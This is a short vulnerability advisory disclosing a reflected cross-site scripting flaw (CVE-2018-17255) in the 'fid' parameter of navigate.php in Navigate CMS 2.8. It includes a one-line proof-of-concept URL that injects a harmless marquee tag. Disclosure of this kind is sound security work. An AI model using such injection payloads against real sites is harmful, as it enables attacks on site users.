Navigate CMS 2.8 Cross Site Scripting

`# Title: Navigate CMS 2.8 - Cross-Site Scripting   
# Author: Felipe "Renzi" Gabriel  
# Date: 2018-09-19  
# Vendor: https://www.navigatecms.com/en/home  
# Software: Navigate CMS 2.8  
# CVE: CVE-2018-17255  
  
# Technical Details & Description:  
# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "Navigate CMS" web-application.  
# The vulnerability is located in the 'fid' parameter of the`navigate.php` action GET method request.  
  
# PoC  
  
http://Target/navigate/navigate.php?fid=files"><marquee>RENZI</marquee>  
  
  
`